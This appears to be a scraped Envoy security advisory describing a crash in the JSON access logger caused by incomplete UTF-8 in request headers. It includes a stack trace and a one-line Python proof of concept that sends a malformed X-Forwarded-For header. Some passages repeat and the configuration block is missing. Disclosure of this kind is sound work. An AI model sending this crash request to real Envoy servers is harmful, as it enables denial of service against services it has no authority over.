Due to how Envoy invoked the nlohmann JSON library, the library could throw an uncaught exception from downstream data if incomplete UTF-8 strings were serialized. The uncaught exception would cause Envoy to crash.
We were recently made aware of an issue with the access logger that can trigger a crash during processing of untrusted user input.
This makes it trivial to crash Envoy with a simple request.
#0 0x00007ffff7c8100b in raise () from /lib/x86_64-linux-gnu/libc.so.6
#1 0x00007ffff7c60859 in abort () from /lib/x86_64-linux-gnu/libc.so.6
#2 0x000055555df1d152 in Envoy::TerminateHandler::logOnTerminate() const::$_0::operator()() const (this=0x7ffff4bdf258)
at source/exe/terminate_handler.cc:19
#3 0x000055555df1d0e1 in Envoy::TerminateHandler::logOnTerminate() const::$_0::__invoke() () at source/exe/terminate_handler.cc:16
#4 0x000055556092e9cc in __cxxabiv1::__terminate(void (*)()) ()
#5 0x000055556092ea37 in std::terminate() ()
#6 0x000055556092eb99 in __cxa_throw ()
#7 0x000055555f4d2bea in nlohmann::json_abi_v3_11_3::detail::serializer<nlohmann::json_abi_v3_11_3::basic_json<std::map, std::vector, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, bool, long, unsigned long, double, std::allocator, nlohmann::json_abi_v3_11_3::adl_serializer, std::vector<unsigned char, std::allocator<unsigned char> >, void> >::dump_escaped (this=0x7ffff4bdf7b0, s=...,
ensure_ascii=false) at external/com_github_nlohmann_json/include/nlohmann/detail/output/serializer.hpp:605
#8 0x000055555f4d0c9d in nlohmann::json_abi_v3_11_3::detail::serializer<nlohmann::json_abi_v3_11_3::basic_json<std::map, std::vector, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, bool, long, unsigned long, double, std::allocator, nlohmann::json_abi_v3_11_3::adl_serializer, std::vector<unsigned char, std::allocator<unsigned char> >, void> >::dump (this=0x7ffff4bdf7b0, val=...,
pretty_print=false, ensure_ascii=false, indent_step=0, current_indent=0)
at external/com_github_nlohmann_json/include/nlohmann/detail/output/serializer.hpp:250
#9 0x000055555f4d07e5 in nlohmann::json_abi_v3_11_3::detail::serializer<nlohmann::json_abi_v3_11_3::basic_json<std::map, std::vector, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, bool, long, unsigned long, double, std::allocator, nlohmann::json_abi_v3_11_3::adl_serializer, std::vector<unsigned char, std::allocator<unsigned char> >, void> >::dump (this=0x7ffff4bdf7b0, val=...,
pretty_print=false, ensure_ascii=false, indent_step=0, current_indent=0)
at external/com_github_nlohmann_json/include/nlohmann/detail/output/serializer.hpp:180
#10 0x000055555f4c3225 in nlohmann::json_abi_v3_11_3::basic_json<std::map, std::vector, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, bool, long, unsigned long, double, std::allocator, nlohmann::json_abi_v3_11_3::adl_serializer, std::vector<unsigned char, std::allocator<unsigned char> >, void>::dump (this=0x7ffff4bdfa80, indent=-1, indent_char=32 ' ', ensure_ascii=false,
error_handler=nlohmann::json_abi_v3_11_3::detail::error_handler_t::strict)
at external/com_github_nlohmann_json/include/nlohmann/json.hpp:1286
#11 0x000055555f4abb49 in Envoy::Json::Nlohmann::(anonymous namespace)::Field::asJsonString[abi:cxx11]() const (this=0x26a0bd072e60)
at source/common/json/json_internal.cc:573
#12 0x0000555558f991b4 in Envoy::Formatter::CommonJsonFormatterBaseImpl<Envoy::Formatter::HttpFormatterContext>::formatWithContext[abi:cxx11](Envoy::Formatter::HttpFormatterContext const&, Envoy::StreamInfo::StreamInfo const&) const (this=0x26a0bd060340, context=..., info=...)
at ./source/common/formatter/substitution_formatter.h:403
#13 0x000055555f275dc2 in Envoy::Extensions::AccessLoggers::File::FileAccessLog::emitLog (this=0x26a0bd060610, context=..., stream_info=...)
at source/extensions/access_loggers/common/file_access_log_impl.cc:17
#14 0x000055555f2761ef in Envoy::Extensions::AccessLoggers::Common::ImplBase::log (this=0x26a0bd060610, log_context=..., stream_info=...)
at source/extensions/access_loggers/common/access_log_base.cc:18
#15 0x000055555ee94efc in Envoy::Http::FilterManager::log (this=0x26a0bd0d20a8, access_log_type=envoy::data::accesslog::v3::DownstreamEnd)
at ./source/common/http/filter_manager.h:702
#16 0x000055555ee6e4f6 in Envoy::Http::ConnectionManagerImpl::doDeferredStreamDestroy (this=0x26a0bd0a7e40, stream=...)
at source/common/http/conn_manager_impl.cc:360
#17 0x000055555ee6df0b in Envoy::Http::ConnectionManagerImpl::doEndStream (this=0x26a0bd0a7e40, stream=..., check_for_deferred_close=true)
at source/common/http/conn_manager_impl.cc:273
#18 0x000055555ee9d17a in Envoy::Http::ConnectionManagerImpl::ActiveStream::endStream (this=0x26a0bd0d2000)
at ./source/common/http/conn_manager_impl.h:281
#19 0x000055555f1f13b0 in Envoy::Http::FilterManager::maybeEndEncode (this=0x26a0bd0d20a8, end_stream=true)
at source/common/http/filter_manager.cc:1480$ python -c 'import requests; requests.get(url="http://127.0.0.1:10000/", headers={"X-Forwarded-For": "\xec"})'KBaichoo Remediation developer
botengyao Coordinator
phlax Coordinator
yanavlasov Remediation reviewer
Summary
Due to how Envoy invoked the nlohmann JSON library, the library could throw an uncaught exception from downstream data if incomplete UTF-8 strings were serialized. The uncaught exception would cause Envoy to crash.
Details
We were recently made aware of an issue with the access logger that can trigger a crash during processing of untrusted user input.
This makes it trivial to crash Envoy with a simple request.
This nlohmann JSON exception would be thrown.
Example partial stacktrace:
PoC
Envoy configured with the following:
Note: this requires
sort_propertiesto betrueThe issue can then be triggered with the following requests:
$ python -c 'import requests; requests.get(url="http://127.0.0.1:10000/", headers={"X-Forwarded-For": "\xec"})'Impact
Envoy users who either:
sort_propertiesenabled and logged entities controlled by the downstream.Credits
Reporter: Seunghak Lee [email protected], a DevOps engineer working at ktown4u in Korea.